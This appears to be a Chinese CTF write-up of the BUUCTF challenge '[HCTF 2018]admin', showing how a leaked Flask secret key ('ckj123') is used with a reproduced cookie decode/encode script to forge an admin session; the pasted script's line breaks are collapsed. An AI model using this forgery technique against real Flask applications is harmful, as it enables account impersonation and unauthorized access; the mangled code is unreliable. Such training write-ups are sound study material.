本文主要以buuctf中的一道题为例来讲解:[HCTF 2018]admin

看了一位师傅的操作,太强了,就来记一下笔记。

Flask之session伪造 - FreeBuf网络安全行业门户

之前做这道题的时候用的是Unicode欺骗,这次试试session伪造。

打开靶机,注册一下,然后登陆,之后看一下自己的session。

然后我们点击change password,在其源代码中可以看到一个GitHub地址,是源码,下载下来

GitHub - woadsl1234/hctf_flask: hctf_flask

之后在app目录下的config.py中找到secret_key:ckj123

import osclass Config(object):SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'SQLALCHEMY_TRACK_MODIFICATIONS = True

这里放一个大佬的session破解与加密脚本

import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else:  # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else:  # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif (args.subcommand == 'encode'):if (args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif (args.subcommand == 'decode'):if (args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value, args.secret_key))elif (args.cookie_value is not None):print(FSCM.decode(args.cookie_value))

脚本使用方法:
解密:python flask_session_cookie_manager3.py decode -s "secret_key" -c "需要解密的session值"
加密:python flask_session_cookie_manager3.py encode -s "secret_key" -t "需要加密的session值"

先解密:

可以看到变成明文了,再将其中的name值改为admin,再加密:

然后将加密出来的session替换原来的刷新一下页面就可以了

拿到flag

Flask中的session伪造相关推荐

  1. flask中的session伪造问题

    前言 这段时间刷题遇见过几次在flask框架中伪造session的,也经常和其他flask框架的两大漏洞SSTI和py反序列化结合来考,今天就写这篇文章学习一下在ctf题目里flask中的sessio ...

  2. Flask 中的session 和 cookie

    文章目录 前言 什么是Cookie? Cookie 和 Session 什么是Seesion? 什么是token? Cookie和session的区别 token和session的区别 Flask中使 ...

  3. Flask框架—flask中的session

    Flask中的session session设置 Flask除请求对象之外,还有一个 session 对象. 它允许你在不同请求间存储特定用户的信息.它是在 Cookies 的基础上实现的,并且对 C ...

  4. Flask中的session简易用法教程,以及permanent通俗解释

    总有各种高大上的用法,但是实际写起来就是那么两三行,直接上demo: from datetime import timedelta from flask import Flask,sessionapp ...

  5. Flask中的session操作

    https://www.cnblogs.com/notzy/p/9187304.html 一.配置SECRET_KEY 因为flask的session是通过加密之后放到了cookie中.所以有加密就有 ...

  6. flask中的session,render_template()第二和参数是字典

    1. 设置一个secret_key 2.验证登入后加上session,这是最简单,不保险 . 3.注意render_template传的参数是字典 转载于:https://www.cnblogs.co ...

  7. flask中的session对象方法

    'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys ...

  8. Flask 中内置的 Session

    Flask中的Session非常的奇怪,他会将你的SessionID存放在客户端的Cookie中,使用起来也非常的奇怪 1. Flask 中 session 是需要 secret_key 的 from ...

  9. Flask cookie、session与闪现

    02.Flask cookie.session与闪现 文章目录 02.Flask cookie.session与闪现 一.储备知识 1.什么是cookie? 注意点: 二.如何在flask中使用coo ...

最新文章

  1. 微型三维图像传感器采用飞行时间技术
  2. 剑指offer——面试题10:斐波那契数列
  3. Vue第二章,在项目中使用element-ui组件
  4. Redis中的List 列表
  5. 数据库-排序-升降序-多列
  6. 小米12系列旗舰最新爆料:内藏5000mAh电池但机身更薄
  7. 如何编写字符设备驱动
  8. 创建txt文件_Mac电脑创建txt文件的方法
  9. 接入TapTap防沉迷系统的逻辑图
  10. 盘点那些不为大众所知,却暗地里很“牛逼”的软件
  11. 自然语言处理——分词系统(双向最大匹配)
  12. 企业网ARP欺骗网关攻击与伪DHCP分析与处理
  13. [转载]AutoCAD2013 以上利用AccoreConsole+ c# NetApi 批量处理图纸
  14. layui 表格序号累加 翻页序号也累加
  15. SpringBoot 2.X 整合 druid + dynamic-datasource 多数据源方案
  16. 破解Root密码_wuli大世界_新浪博客
  17. Linux开发环境——SCL软件集
  18. APP性能测试——内存测试
  19. Linux下手动安装screen
  20. Liunx userdel删除用户时提示userdel: user *** is currently used by process 12910

热门文章

  1. 从JDBC到手撸极简版Mybaties(3)JDBC自动解析配置文件
  2. 【Field xx in xxx.xx.xx required a bean of type ‘xx.xx.xx‘ that could not be found】排查和解决办法
  3. 中子-伽马探测器响应模拟计算软件
  4. web前段学习 第二部分
  5. 手机版邮箱究竟有什么优势?手机怎么设置邮箱?
  6. 【网络教程】群晖中如何安装甜糖,手把手教您Docker安装甜糖,如何解决甜糖安装使用中遇到的问题(已解决)
  7. LTE - NAS 驻网流程概括
  8. el-table树形结构的数据结构处理
  9. animate.css在vue中进行路由切换时的转场动画
  10. 【JTeam Champion NFT】一张nft头像价值千万,能抵一套房,nft是数字艺术还是金融泡沫?